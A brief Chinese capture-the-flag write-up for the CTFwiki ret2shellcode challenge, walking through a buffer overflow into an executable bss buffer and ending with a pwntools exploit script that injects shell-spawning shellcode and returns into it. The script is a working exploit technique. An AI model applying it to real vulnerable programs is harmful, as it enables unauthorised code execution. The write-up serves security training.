[WP]CTFwiki-shellcode

女生的网名这么多〃 提交于 2019-12-04 18:26:38

1.运行程序,没有提供 system ,32位程序,基本未开保护

 

2.IDA中发现 strncpy() 函数将我们输入的 v4 复制到 bss 段的 buf2 处

 

 

 

 3.经过 gdb 查看 buf2 处的代码是具有 rwx 属性的,因此我们可以构造一段 shellcode 然后执行此处的代码。

 

 

 4.查看 esp 和 ebp 来计算覆盖长度

 

5.构造exp

#!/usr/bin/env python
from pwn import *

#EBP: 0xffffd158 --> 0x0 
#ESP: 0xffffd0d0 --> 0xffffd0ec --> 0xf7ffd000 --> 0x26f34 

sh = process('./ret2shellcode')
buf_addr = 0x0804A080
payload = asm(shellcraft.sh())
#sh.recvuntil()
length = 0x158 - 0xec + 4
sh.sendline(payload.ljust(length, 'a') + p32(buf_addr))
sh.interactive()

 

 

 

 

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!